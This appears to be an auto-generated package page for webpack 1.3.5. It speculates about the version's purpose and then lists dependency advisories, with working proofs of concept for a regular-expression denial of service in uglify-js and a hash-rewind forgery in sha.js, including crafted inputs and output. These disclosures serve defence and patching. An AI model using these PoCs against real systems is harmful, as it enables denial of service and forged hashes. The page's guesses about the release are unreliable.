Webpack version 1.3.5 represents a minor update over its predecessor, version 1.3.4, both meticulously crafted to bundle CommonJs/AMD modules for seamless browser deployment. These versions enable developers to break down codebases into manageable bundles for on-demand loading, optimizing initial page load times and enhancing user experience. Both versions support a rich ecosystem of loaders, simplifying the integration of diverse file types such as JSON, Jade, CoffeeScript, CSS, and LESS, alongside custom preprocessing solutions.
The core functionalities related to module bundling, dependency management with tools like async, clone, mkdirp, esprima, tapable, optimist, memory-fs, uglify-js, webpack-core, enhanced-resolve, and node-libs-browser remain consistent between the two versions. The suite of development dependencies, including testing frameworks like mocha and should, along with loaders like css-loader, raw-loader, url-loader, val-loader and plugins like i18n-webpack-plugin also exhibits no changes.
While the provided data doesn't explicitly detail specific bug fixes or performance improvements in 1.3.5, the crucial difference lies in its release date, approximately 23 minutes after 1.3.4. This suggests that version 1.3.5 likely addresses immediate, critical issues discovered shortly after the release of version 1.3.4, justifying its rapid deployment. Consequently, developers are encouraged to adopt the newer 1.3.5 to ensure they receive the most stable and up-to-date experience.
All the vulnerabilities related to the version 1.3.5 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js){length:'1e99'}